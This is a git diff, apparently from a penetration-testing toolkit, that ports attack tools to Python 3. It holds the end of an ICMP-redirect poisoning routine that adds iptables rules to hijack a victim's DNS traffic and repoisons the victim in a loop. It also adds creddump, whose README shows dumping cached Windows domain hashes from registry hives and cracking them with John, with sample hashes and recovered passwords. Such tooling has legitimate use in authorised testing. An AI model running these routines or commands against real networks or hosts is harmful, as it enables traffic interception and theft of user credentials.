def IcmpRedirectSock(DestinationIP):
|
def IcmpRedirectSock(DestinationIP):
|
||||||
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
|
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
|
||||||
print '[ARP]Target Mac address is :',PrintMac
|
print('[ARP]Target Mac address is :',PrintMac)
|
||||||
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
|
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
|
||||||
print '[ARP]Router Mac address is :',PrintMac
|
print('[ARP]Router Mac address is :',PrintMac)
|
||||||
s = socket(AF_PACKET, SOCK_RAW)
|
s = socket(AF_PACKET, SOCK_RAW)
|
||||||
Protocol = 0x0800
|
Protocol = 0x0800
|
||||||
s.bind((Interface, Protocol))
|
s.bind((Interface, Protocol))
|
||||||
|
@ -210,7 +210,7 @@ def IcmpRedirectSock(DestinationIP):
|
||||||
IPPack.calculate()
|
IPPack.calculate()
|
||||||
final = str(Eth)+str(IPPack)
|
final = str(Eth)+str(IPPack)
|
||||||
s.send(final)
|
s.send(final)
|
||||||
print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)
|
print('\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP))
|
||||||
|
|
||||||
def FindWhatToDo(ToThisHost2):
|
def FindWhatToDo(ToThisHost2):
|
||||||
if ToThisHost2 != None:
|
if ToThisHost2 != None:
|
||||||
|
@ -227,11 +227,11 @@ def RunThisInLoop(host, host2, ip):
|
||||||
ouripadd = pipes.quote(ip)
|
ouripadd = pipes.quote(ip)
|
||||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
|
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
|
||||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
|
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
|
||||||
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
|
print("[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers.")
|
||||||
while True:
|
while True:
|
||||||
IcmpRedirectSock(DestinationIP=dns1)
|
IcmpRedirectSock(DestinationIP=dns1)
|
||||||
IcmpRedirectSock(DestinationIP=dns2)
|
IcmpRedirectSock(DestinationIP=dns2)
|
||||||
print "[+]Repoisoning the target in 8 minutes..."
|
print("[+]Repoisoning the target in 8 minutes...")
|
||||||
sleep(480)
|
sleep(480)
|
||||||
|
|
||||||
FindWhatToDo(ToThisHost2)
|
FindWhatToDo(ToThisHost2)
|
||||||
|
|
120
tools/MultiRelay/creddump/.gitignore
vendored
Normal file
120
tools/MultiRelay/creddump/.gitignore
vendored
Normal file
|
@ -0,0 +1,120 @@
|
||||||
|
# Byte-compiled / optimized / DLL files
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*$py.class
|
||||||
|
|
||||||
|
# C extensions
|
||||||
|
*.so
|
||||||
|
|
||||||
|
# Distribution / packaging
|
||||||
|
.Python
|
||||||
|
build/
|
||||||
|
develop-eggs/
|
||||||
|
dist/
|
||||||
|
downloads/
|
||||||
|
eggs/
|
||||||
|
.eggs/
|
||||||
|
lib/
|
||||||
|
lib64/
|
||||||
|
parts/
|
||||||
|
sdist/
|
||||||
|
var/
|
||||||
|
wheels/
|
||||||
|
share/python-wheels/
|
||||||
|
*.egg-info/
|
||||||
|
.installed.cfg
|
||||||
|
*.egg
|
||||||
|
MANIFEST
|
||||||
|
|
||||||
|
# PyInstaller
|
||||||
|
# Usually these files are written by a python script from a template
|
||||||
|
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||||
|
*.manifest
|
||||||
|
*.spec
|
||||||
|
|
||||||
|
# Installer logs
|
||||||
|
pip-log.txt
|
||||||
|
pip-delete-this-directory.txt
|
||||||
|
|
||||||
|
# PyCharm
|
||||||
|
.idea
|
||||||
|
|
||||||
|
# Unit test / coverage reports
|
||||||
|
htmlcov/
|
||||||
|
.tox/
|
||||||
|
.nox/
|
||||||
|
.coverage
|
||||||
|
.coverage.*
|
||||||
|
.cache
|
||||||
|
nosetests.xml
|
||||||
|
coverage.xml
|
||||||
|
*.cover
|
||||||
|
.hypothesis/
|
||||||
|
.pytest_cache/
|
||||||
|
|
||||||
|
# Translations
|
||||||
|
*.mo
|
||||||
|
*.pot
|
||||||
|
|
||||||
|
# Django stuff:
|
||||||
|
*.log
|
||||||
|
local_settings.py
|
||||||
|
db.sqlite3
|
||||||
|
|
||||||
|
# Flask stuff:
|
||||||
|
instance/
|
||||||
|
.webassets-cache
|
||||||
|
|
||||||
|
# Scrapy stuff:
|
||||||
|
.scrapy
|
||||||
|
|
||||||
|
# Sphinx documentation
|
||||||
|
docs/_build/
|
||||||
|
|
||||||
|
# PyBuilder
|
||||||
|
target/
|
||||||
|
|
||||||
|
# Jupyter Notebook
|
||||||
|
.ipynb_checkpoints
|
||||||
|
|
||||||
|
# IPython
|
||||||
|
profile_default/
|
||||||
|
ipython_config.py
|
||||||
|
|
||||||
|
# pyenv
|
||||||
|
.python-version
|
||||||
|
|
||||||
|
# celery beat schedule file
|
||||||
|
celerybeat-schedule
|
||||||
|
|
||||||
|
# SageMath parsed files
|
||||||
|
*.sage.py
|
||||||
|
|
||||||
|
# Environments
|
||||||
|
.env
|
||||||
|
.venv
|
||||||
|
env/
|
||||||
|
venv/
|
||||||
|
ENV/
|
||||||
|
env.bak/
|
||||||
|
venv.bak/
|
||||||
|
|
||||||
|
# Spyder project settings
|
||||||
|
.spyderproject
|
||||||
|
.spyproject
|
||||||
|
|
||||||
|
# Rope project settings
|
||||||
|
.ropeproject
|
||||||
|
|
||||||
|
# mkdocs documentation
|
||||||
|
/site
|
||||||
|
|
||||||
|
# mypy
|
||||||
|
.mypy_cache/
|
||||||
|
.dmypy.json
|
||||||
|
dmypy.json
|
||||||
|
|
||||||
|
# Pyre type checker
|
||||||
|
.pyre/
|
||||||
|
|
||||||
|
.pylintrc
|
182
tools/MultiRelay/creddump/README.md
Normal file
182
tools/MultiRelay/creddump/README.md
Normal file
|
@ -0,0 +1,182 @@
|
||||||
|
#Information
|
||||||
|
This repo is for my modifications to the original 'creddump' program available
|
||||||
|
at:
|
||||||
|
|
||||||
|
https://code.google.com/p/creddump/
|
||||||
|
|
||||||
|
I did not write the original program.
|
||||||
|
|
||||||
|
I have combined many patches and fixes I have seen from different forums and
|
||||||
|
user suggestions, as well as modified the usage to make it a little more clear.
|
||||||
|
|
||||||
|
I followed patches and fixes from the following links:
|
||||||
|
|
||||||
|
* https://code.google.com/p/creddump/issues/detail?id=4
|
||||||
|
* https://code.google.com/p/volatility/issues/detail?id=92
|
||||||
|
|
||||||
|
Enjoy!
|
||||||
|
Ronnie Flathers (@ropnop)
|
||||||
|
|
||||||
|
|
||||||
|
###Usage
|
||||||
|
Mount a Windows 7/Vista partition:
|
||||||
|
```
|
||||||
|
# mkdir /mnt/win
|
||||||
|
# ntfs-3g /dev/sda1 /mnt/win
|
||||||
|
```
|
||||||
|
|
||||||
|
Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds:
|
||||||
|
```
|
||||||
|
# ./cachedump.py
|
||||||
|
usage: ./cachedump.py <system hive> <security hive> <Vista/7>
|
||||||
|
|
||||||
|
Example (Windows Vista/7):
|
||||||
|
./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true
|
||||||
|
|
||||||
|
Example (Windows XP):
|
||||||
|
./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false
|
||||||
|
|
||||||
|
# ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes
|
||||||
|
nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local
|
||||||
|
god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local
|
||||||
|
```
|
||||||
|
|
||||||
|
If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format:
|
||||||
|
```
|
||||||
|
# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes
|
||||||
|
Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x])
|
||||||
|
g0d (god)
|
||||||
|
Welcome1! (nharpsis)
|
||||||
|
```
|
||||||
|
|
||||||
|
We now have the passwords for two domain users. Note: these passwords are really simple and I knew they were in the wordlist I used. Normally if you want to actually bruteforce the passwords, I wouldn't recommend John. Pull the hashes and use a GPU powered cracking box with oclHashcat.
|
||||||
|
|
||||||
|
|
||||||
|
####Below is the original README file
|
||||||
|
|
||||||
|
|
||||||
|
OVERVIEW
|
||||||
|
|
||||||
|
creddump is a python tool to extract various credentials and secrets from
|
||||||
|
Windows registry hives. It currently extracts:
|
||||||
|
* LM and NT hashes (SYSKEY protected)
|
||||||
|
* Cached domain passwords
|
||||||
|
* LSA secrets
|
||||||
|
|
||||||
|
It essentially performs all the functions that bkhive/samdump2,
|
||||||
|
cachedump, and lsadump2 do, but in a platform-independent way.
|
||||||
|
|
||||||
|
It is also the first tool that does all of these things in an offline
|
||||||
|
way (actually, Cain & Abel does, but is not open source and is only
|
||||||
|
available on Windows).
|
||||||
|
|
||||||
|
REQUIREMENTS
|
||||||
|
|
||||||
|
alldump has only been tested on python 2.5. It should work on 2.4 as
|
||||||
|
well, but will likely need modification before it will work on 2.3 or
|
||||||
|
below.
|
||||||
|
|
||||||
|
python-crypto is required for its MD5/DES/RC4 support. To obtain it,
|
||||||
|
see: http://www.amk.ca/python/code/crypto
|
||||||
|
|
||||||
|
For lsadump: system and SECURITY hives
|
||||||
|
For cachedump: system and SECURITY hives
|
||||||
|
For pwdump: system and SAM hives
|
||||||
|
|
||||||
|
USAGE
|
||||||
|
|
||||||
|
Dump cached domain hashes:
|
||||||
|
usage: ./cachedump.py <system hive> <security hive>
|
||||||
|
|
||||||
|
Dump LSA secrets:
|
||||||
|
usage: ./lsadump.py <system hive> <security hive>
|
||||||
|
|
||||||
|
Dump local password hashes:
|
||||||
|
usage: ./pwdump.py <system hive> <SAM hive>
|
||||||
|
|
||||||
|
FEATURES
|
||||||
|
|
||||||
|
* Platform independent operation. The only inputs are the hive files
|
||||||
|
from the system--we don't rely on any Windows functionality at all.
|
||||||
|
* Open-source and (hopefully!) readble implementations of Windows
|
||||||
|
obfuscation algorithms used to protect LSA secrets, cached domain
|
||||||
|
passwords, and
|
||||||
|
* A reasonably forgiving registry file parser in pure Python. Look
|
||||||
|
through framework/types.py and framework/win32/rawreg.py to see how it
|
||||||
|
works.
|
||||||
|
* The first complete open-source implementation of advapi32's
|
||||||
|
SystemFunction005. The version in the Wine source code does not
|
||||||
|
appear to allow for keys longer than 7 bytes, while the Windows
|
||||||
|
version (and this version) does. See decrypt_secret() in
|
||||||
|
framework/win32/lsasecrets.py
|
||||||
|
|
||||||
|
AUTHOR
|
||||||
|
|
||||||
|
creddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu).
|
||||||
|
For more information on Syskey, LSA secrets, cached domain credentials,
|
||||||
|
and lots of information on volatile memory forensics and reverse
|
||||||
|
engineering, check out:
|
||||||
|
|
||||||
|
http://moyix.blogspot.com/
|
||||||
|
|
||||||
|
CREDITS
|
||||||
|
* AAron Walters. Much of the data type parsing code is taken from
|
||||||
|
Volatility, an excellent memory analysis framework written in Python.
|
||||||
|
He's also a really nice guy, and has helped me out a lot in my
|
||||||
|
research.
|
||||||
|
|
||||||
|
https://www.volatilesystems.com/default/volatility
|
||||||
|
|
||||||
|
* Massimiliano Montoro (mao), for reversing the mechanism Windows uses
|
||||||
|
to derive the LSA key so that it can be computed directly from the
|
||||||
|
hive files, as decribed in this post:
|
||||||
|
|
||||||
|
http://oxid.netsons.org/phpBB2/viewtopic.php?t=149
|
||||||
|
http://www.oxid.it/
|
||||||
|
|
||||||
|
* Jeremy Allison, for the details of the obfuscation applied to password
|
||||||
|
hashes in the SAM, as implemented in the original pwdump.
|
||||||
|
|
||||||
|
http://us4.samba.org/samba/ftp/pwdump/
|
||||||
|
|
||||||
|
* Nicola Cuomo, for his excellent description of the syskey mechanism
|
||||||
|
and how it is used to encrypt the SAM in Windows 2000 and above.
|
||||||
|
|
||||||
|
http://www.studenti.unina.it/~ncuomo/syskey/
|
||||||
|
|
||||||
|
* Eyas[at]xfocus.org, for x_dialupass2.cpp, which demonstrates how to
|
||||||
|
read LSA secrets directly from the registry, given the LSA key.
|
||||||
|
|
||||||
|
http://www.xfocus.net/articles/200411/749.html
|
||||||
|
|
||||||
|
[Note: the above is in Chinese, but quite comprehensible if you use
|
||||||
|
Google Translate and can read C ;)]
|
||||||
|
|
||||||
|
* Nicholas Ruff, for his perl implementation of des_set_odd_parity,
|
||||||
|
which he apparently took from SSLEAY:
|
||||||
|
|
||||||
|
http://seclists.org/pen-test/2005/Jan/0180.html
|
||||||
|
|
||||||
|
* Arnaud Pilon, for the details of how to retrieve cached domain, as
|
||||||
|
implemented in cachedump.
|
||||||
|
|
||||||
|
http://www.securiteam.com/tools/5JP0I2KFPA.html
|
||||||
|
|
||||||
|
* S<>bastien Ke, for his cute hexdump recipe:
|
||||||
|
|
||||||
|
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
|
||||||
|
|
||||||
|
LICENSE
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
23
tools/MultiRelay/creddump/cachedump.py
Normal file → Executable file
23
tools/MultiRelay/creddump/cachedump.py
Normal file → Executable file
|
@ -15,19 +15,34 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
# pylint: disable=invalid-name,missing-docstring
|
||||||
|
|
||||||
"""
|
"""
|
||||||
@author: Brendan Dolan-Gavitt
|
@author: Brendan Dolan-Gavitt
|
||||||
@license: GNU General Public License 2.0 or later
|
@license: GNU General Public License 2.0 or later
|
||||||
@contact: bdolangavitt@wesleyan.edu
|
@contact: bdolangavitt@wesleyan.edu
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
import sys
|
import sys
|
||||||
from framework.win32.domcachedump import dump_file_hashes
|
from framework.win32.domcachedump import dump_file_hashes
|
||||||
|
|
||||||
if len(sys.argv) < 3:
|
|
||||||
print "usage: %s bootkey <security hive>" % sys.argv[0]
|
def showUsage():
|
||||||
|
print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
|
||||||
|
print("\nExample (Windows Vista/7):")
|
||||||
|
print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
|
||||||
|
print("\nExample (Windows XP):")
|
||||||
|
print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])
|
||||||
|
|
||||||
|
|
||||||
|
if len(sys.argv) < 4:
|
||||||
|
showUsage()
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2])
|
if sys.argv[3].lower() not in ["true", "false"]:
|
||||||
|
showUsage()
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
vista = sys.argv[3].lower() == "true"
|
||||||
|
|
||||||
|
dump_file_hashes(sys.argv[1], sys.argv[2], sys.argv[3])
|
||||||
|
|
|
@ -25,13 +25,16 @@
|
||||||
@license: GNU General Public License 2.0 or later
|
@license: GNU General Public License 2.0 or later
|
||||||
@contact: awalters@volatilesystems.com
|
@contact: awalters@volatilesystems.com
|
||||||
@organization: Volatile Systems
|
@organization: Volatile Systems
|
||||||
|
|
||||||
|
Alias for all address spaces
|
||||||
"""
|
"""
|
||||||
|
|
||||||
""" Alias for all address spaces """
|
# pylint: disable=missing-docstring
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import struct
|
import struct
|
||||||
|
|
||||||
|
|
||||||
class FileAddressSpace:
|
class FileAddressSpace:
|
||||||
def __init__(self, fname, mode='rb', fast=False):
|
def __init__(self, fname, mode='rb', fast=False):
|
||||||
self.fname = fname
|
self.fname = fname
|
||||||
|
@ -39,7 +42,7 @@ class FileAddressSpace:
|
||||||
self.fhandle = open(fname, mode)
|
self.fhandle = open(fname, mode)
|
||||||
self.fsize = os.path.getsize(fname)
|
self.fsize = os.path.getsize(fname)
|
||||||
|
|
||||||
if fast == True:
|
if fast:
|
||||||
self.fast_fhandle = open(fname, mode)
|
self.fast_fhandle = open(fname, mode)
|
||||||
|
|
||||||
def fread(self, len):
|
def fread(self, len):
|
||||||
|
@ -63,13 +66,15 @@ class FileAddressSpace:
|
||||||
def is_valid_address(self, addr):
|
def is_valid_address(self, addr):
|
||||||
return addr < self.fsize - 1
|
return addr < self.fsize - 1
|
||||||
|
|
||||||
def close():
|
def close(self):
|
||||||
self.fhandle.close()
|
self.fhandle.close()
|
||||||
|
|
||||||
|
|
||||||
# Code below written by Brendan Dolan-Gavitt
|
# Code below written by Brendan Dolan-Gavitt
|
||||||
|
|
||||||
BLOCK_SIZE = 0x1000
|
BLOCK_SIZE = 0x1000
|
||||||
|
|
||||||
|
|
||||||
class HiveFileAddressSpace:
|
class HiveFileAddressSpace:
|
||||||
def __init__(self, fname):
|
def __init__(self, fname):
|
||||||
self.fname = fname
|
self.fname = fname
|
||||||
|
@ -80,16 +85,16 @@ class HiveFileAddressSpace:
|
||||||
|
|
||||||
def read(self, vaddr, length, zero=False):
|
def read(self, vaddr, length, zero=False):
|
||||||
first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE
|
first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE
|
||||||
full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1
|
full_blocks = ((length + (vaddr % BLOCK_SIZE)) // BLOCK_SIZE) - 1
|
||||||
left_over = (length + vaddr) % BLOCK_SIZE
|
left_over = (length + vaddr) % BLOCK_SIZE
|
||||||
|
|
||||||
paddr = self.vtop(vaddr)
|
paddr = self.vtop(vaddr)
|
||||||
if paddr == None and zero:
|
if paddr is None and zero:
|
||||||
if length < first_block:
|
if length < first_block:
|
||||||
return "\0" * length
|
return "\0" * length
|
||||||
else:
|
else:
|
||||||
stuff_read = "\0" * first_block
|
stuff_read = "\0" * first_block
|
||||||
elif paddr == None:
|
elif paddr is None:
|
||||||
return None
|
return None
|
||||||
else:
|
else:
|
||||||
if length < first_block:
|
if length < first_block:
|
||||||
|
@ -104,11 +109,11 @@ class HiveFileAddressSpace:
|
||||||
stuff_read = "\0" * first_block
|
stuff_read = "\0" * first_block
|
||||||
|
|
||||||
new_vaddr = vaddr + first_block
|
new_vaddr = vaddr + first_block
|
||||||
for i in range(0,full_blocks):
|
for __ in range(0, full_blocks):
|
||||||
paddr = self.vtop(new_vaddr)
|
paddr = self.vtop(new_vaddr)
|
||||||
if paddr == None and zero:
|
if paddr is None and zero:
|
||||||
stuff_read = stuff_read + "\0" * BLOCK_SIZE
|
stuff_read = stuff_read + "\0" * BLOCK_SIZE
|
||||||
elif paddr == None:
|
elif paddr is None:
|
||||||
return None
|
return None
|
||||||
else:
|
else:
|
||||||
new_stuff = self.base.read(paddr, BLOCK_SIZE)
|
new_stuff = self.base.read(paddr, BLOCK_SIZE)
|
||||||
|
@ -122,9 +127,9 @@ class HiveFileAddressSpace:
|
||||||
|
|
||||||
if left_over > 0:
|
if left_over > 0:
|
||||||
paddr = self.vtop(new_vaddr)
|
paddr = self.vtop(new_vaddr)
|
||||||
if paddr == None and zero:
|
if paddr is None and zero:
|
||||||
stuff_read = stuff_read + "\0" * left_over
|
stuff_read = stuff_read + "\0" * left_over
|
||||||
elif paddr == None:
|
elif paddr is None:
|
||||||
return None
|
return None
|
||||||
else:
|
else:
|
||||||
stuff_read = stuff_read + self.base.read(paddr, left_over)
|
stuff_read = stuff_read + self.base.read(paddr, left_over)
|
||||||
|
@ -137,5 +142,6 @@ class HiveFileAddressSpace:
|
||||||
|
|
||||||
def is_valid_address(self, vaddr):
|
def is_valid_address(self, vaddr):
|
||||||
paddr = self.vtop(vaddr)
|
paddr = self.vtop(vaddr)
|
||||||
if not paddr: return False
|
if not paddr:
|
||||||
|
return False
|
||||||
return self.base.is_valid_address(paddr)
|
return self.base.is_valid_address(paddr)
|
||||||
|
|
|
@ -19,11 +19,15 @@
|
||||||
@contact: bdolangavitt@wesleyan.edu
|
@contact: bdolangavitt@wesleyan.edu
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from framework.object import *
|
# pylint: disable=missing-docstring,invalid-name,no-else-return,arguments-differ,unused-argument
|
||||||
from framework.types import regtypes as types
|
|
||||||
from operator import itemgetter
|
from operator import itemgetter
|
||||||
from struct import unpack
|
from struct import unpack
|
||||||
|
|
||||||
|
from framework.object import get_obj_offset, builtin_types, read_value, read_unicode_string, read_string, read_obj
|
||||||
|
from framework.types import regtypes as types
|
||||||
|
|
||||||
|
|
||||||
def get_ptr_type(structure, member):
|
def get_ptr_type(structure, member):
|
||||||
"""Return the type a pointer points to.
|
"""Return the type a pointer points to.
|
||||||
|
|
||||||
|
@ -43,6 +47,7 @@ def get_ptr_type(structure, member):
|
||||||
else:
|
else:
|
||||||
return types[structure][1][member[0]][1][1]
|
return types[structure][1][member[0]][1][1]
|
||||||
|
|
||||||
|
|
||||||
class Obj(object):
|
class Obj(object):
|
||||||
"""Base class for all objects.
|
"""Base class for all objects.
|
||||||
|
|
||||||
|
@ -50,7 +55,7 @@ class Obj(object):
|
||||||
for special handling.
|
for special handling.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __new__(typ, name, address, space):
|
def __new__(cls, name, address, space):
|
||||||
if name in globals():
|
if name in globals():
|
||||||
# This is a bit of "magic"
|
# This is a bit of "magic"
|
||||||
# Could be replaced with a dict mapping type names to types
|
# Could be replaced with a dict mapping type names to types
|
||||||
|
@ -58,7 +63,7 @@ class Obj(object):
|
||||||
elif name in builtin_types:
|
elif name in builtin_types:
|
||||||
return Primitive(name, address, space)
|
return Primitive(name, address, space)
|
||||||
else:
|
else:
|
||||||
obj = object.__new__(typ)
|
obj = object.__new__(cls)
|
||||||
return obj
|
return obj
|
||||||
|
|
||||||
def __init__(self, name, address, space):
|
def __init__(self, name, address, space):
|
||||||
|
@ -104,8 +109,8 @@ class Obj(object):
|
||||||
else:
|
else:
|
||||||
return Obj(tp, self.address + off, self.space)
|
return Obj(tp, self.address + off, self.space)
|
||||||
|
|
||||||
def __div__(self, other):
|
def __truediv__(self, other):
|
||||||
if isinstance(other,tuple) or isinstance(other,list):
|
if isinstance(other, (tuple, list)):
|
||||||
return Pointer(other[0], self.address, self.space, other[1])
|
return Pointer(other[0], self.address, self.space, other[1])
|
||||||
elif isinstance(other, str):
|
elif isinstance(other, str):
|
||||||
return Obj(other, self.address, self.space)
|
return Obj(other, self.address, self.space)
|
||||||
|
@ -116,9 +121,9 @@ class Obj(object):
|
||||||
"""Return a list of this object's members, sorted by offset."""
|
"""Return a list of this object's members, sorted by offset."""
|
||||||
|
|
||||||
# Could also just return the list
|
# Could also just return the list
|
||||||
membs = [ (k, v[0]) for k,v in types[self.name][1].items()]
|
membs = [(k, v[0]) for k, v in list(types[self.name][1].items())]
|
||||||
membs.sort(key=itemgetter(1))
|
membs.sort(key=itemgetter(1))
|
||||||
return map(itemgetter(0),membs) + self.extra_members
|
return list(map(itemgetter(0), membs)) + self.extra_members
|
||||||
|
|
||||||
def values(self):
|
def values(self):
|
||||||
"""Return a dictionary of this object's members and their values"""
|
"""Return a dictionary of this object's members and their values"""
|
||||||
|
@ -168,6 +173,7 @@ class Obj(object):
|
||||||
def get_offset(self, member):
|
def get_offset(self, member):
|
||||||
return get_obj_offset(types, [self.name] + member)
|
return get_obj_offset(types, [self.name] + member)
|
||||||
|
|
||||||
|
|
||||||
class Primitive(Obj):
|
class Primitive(Obj):
|
||||||
"""Class to represent a primitive data type.
|
"""Class to represent a primitive data type.
|
||||||
|
|
||||||
|
@ -175,16 +181,18 @@ class Primitive(Obj):
|
||||||
value : the python primitive value of this type
|
value : the python primitive value of this type
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __new__(typ, *args, **kwargs):
|
def __new__(cls, *args, **kwargs):
|
||||||
obj = object.__new__(typ)
|
obj = object.__new__(cls)
|
||||||
return obj
|
return obj
|
||||||
|
|
||||||
def __init__(self, name, address, space):
|
def __init__(self, name, address, space):
|
||||||
super(Primitive, self).__init__(name, address, space)
|
super(Primitive, self).__init__(name, address, space)
|
||||||
length, fmt = builtin_types[name]
|
length, fmt = builtin_types[name]
|
||||||
data = space.read(address, length)
|
data = space.read(address, length)
|
||||||
if not data: self.value = None
|
if not data:
|
||||||
else: self.value = unpack(fmt,data)[0]
|
self.value = None
|
||||||
|
else:
|
||||||
|
self.value = unpack(fmt, data)[0]
|
||||||
|
|
||||||
def __repr__(self):
|
def __repr__(self):
|
||||||
return repr(self.value)
|
return repr(self.value)
|
||||||
|
@ -192,6 +200,7 @@ class Primitive(Obj):
|
||||||
def members(self):
|
def members(self):
|
||||||
return []
|
return []
|
||||||
|
|
||||||
|
|
||||||
class Pointer(Obj):
|
class Pointer(Obj):
|
||||||
"""Class to represent pointers.
|
"""Class to represent pointers.
|
||||||
|
|
||||||
|
@ -201,8 +210,8 @@ class Pointer(Obj):
|
||||||
the attribute will be looked up in the referenced
|
the attribute will be looked up in the referenced
|
||||||
object."""
|
object."""
|
||||||
|
|
||||||
def __new__(typ, *args, **kwargs):
|
def __new__(cls, *args, **kwargs):
|
||||||
obj = object.__new__(typ)
|
obj = object.__new__(cls)
|
||||||
return obj
|
return obj
|
||||||
|
|
||||||
def __init__(self, name, address, space, ptr_type):
|
def __init__(self, name, address, space, ptr_type):
|
||||||
|
@ -229,6 +238,7 @@ class Pointer(Obj):
|
||||||
def members(self):
|
def members(self):
|
||||||
return self.value.members()
|
return self.value.members()
|
||||||
|
|
||||||
|
|
||||||
class _UNICODE_STRING(Obj):
|
class _UNICODE_STRING(Obj):
|
||||||
"""Class representing a _UNICODE_STRING
|
"""Class representing a _UNICODE_STRING
|
||||||
|
|
||||||
|
@ -238,8 +248,8 @@ class _UNICODE_STRING(Obj):
|
||||||
* The __str__ method returns the value of the Buffer.
|
* The __str__ method returns the value of the Buffer.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __new__(typ, *args, **kwargs):
|
def __new__(cls, *args, **kwargs):
|
||||||
obj = object.__new__(typ)
|
obj = object.__new__(cls)
|
||||||
return obj
|
return obj
|
||||||
|
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
|
@ -248,31 +258,37 @@ class _UNICODE_STRING(Obj):
|
||||||
# Custom Attributes
|
# Custom Attributes
|
||||||
def getBuffer(self):
|
def getBuffer(self):
|
||||||
return read_unicode_string(self.space, types, [], self.address)
|
return read_unicode_string(self.space, types, [], self.address)
|
||||||
|
|
||||||
Buffer = property(fget=getBuffer)
|
Buffer = property(fget=getBuffer)
|
||||||
|
|
||||||
|
|
||||||
class _CM_KEY_NODE(Obj):
|
class _CM_KEY_NODE(Obj):
|
||||||
def __new__(typ, *args, **kwargs):
|
def __new__(cls, *args, **kwargs):
|
||||||
obj = object.__new__(typ)
|
obj = object.__new__(cls)
|
||||||
return obj
|
return obj
|
||||||
|
|
||||||
def getName(self):
|
def getName(self):
|
||||||
return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'],
|
return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'],
|
||||||
self.address, self.NameLength.value)
|
self.address, self.NameLength.value)
|
||||||
|
|
||||||
Name = property(fget=getName)
|
Name = property(fget=getName)
|
||||||
|
|
||||||
|
|
||||||
class _CM_KEY_VALUE(Obj):
|
class _CM_KEY_VALUE(Obj):
|
||||||
def __new__(typ, *args, **kwargs):
|
def __new__(cls, *args, **kwargs):
|
||||||
obj = object.__new__(typ)
|
obj = object.__new__(cls)
|
||||||
return obj
|
return obj
|
||||||
|
|
||||||
def getName(self):
|
def getName(self):
|
||||||
return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'],
|
return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'],
|
||||||
self.address, self.NameLength.value)
|
self.address, self.NameLength.value)
|
||||||
|
|
||||||
Name = property(fget=getName)
|
Name = property(fget=getName)
|
||||||
|
|
||||||
|
|
||||||
class _CHILD_LIST(Obj):
|
class _CHILD_LIST(Obj):
|
||||||
def __new__(typ, *args, **kwargs):
|
def __new__(cls, *args, **kwargs):
|
||||||
obj = object.__new__(typ)
|
obj = object.__new__(cls)
|
||||||
return obj
|
return obj
|
||||||
